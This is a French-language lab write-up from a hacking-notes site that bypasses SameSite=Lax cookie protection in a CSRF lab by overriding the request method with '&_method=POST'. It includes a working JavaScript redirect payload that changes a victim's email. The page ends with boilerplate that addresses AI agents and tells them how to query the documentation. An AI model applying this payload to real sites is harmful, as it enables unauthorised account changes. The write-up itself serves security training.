> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-lax-bypass-via-method-override.md).

# Contournement SameSite Lax via substitution de méthode

### Contournement de SameSite Lax via la substitution de méthode

La fonctionnalité de changement d’adresse e-mail du labo est vulnérable à une attaque CSRF. Le site utilise SameSite=Lax, mais il est possible de contourner cette protection en forçant la requête de méthode POST via un paramètre d’override (`&_method=POST`) dans l’URL.

\*\* Objectif\*\*/ Héberger une charge utile (exploitée) sur le serveur d’exploit qui effectue une requête pour changer l’adresse e-mail au nom de la victime afin de résoudre le labo.

**Identifiants (compte de test)**/ `wiener: peter`

<figure><img src="/files/1a7915b64cf482172c915f15b9f61beaebfa4841" alt=""><figcaption></figcaption></figure>

* Une requête GET vers le point de terminaison de changement d’e-mail renvoie que la méthode n’est pas autorisée.
* L’ajout du `&_method=POST` paramètre dans l’URL fait que la requête est acceptée (le site accepte la substitution pour traiter la requête comme un POST), ce qui permet d’exécuter l’action malgré SameSite=Lax.

```
&_method=POST
```

<figure><img src="/files/9986fe381166b0f32b062c9c1123766f93da9869" alt=""><figcaption></figcaption></figure>

#### **Charge utile du serveur d’exploit**

Le script suivant redirige la victime vers l’URL de changement d’e-mail en incluant le paramètre d’override pour forcer un POST :

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
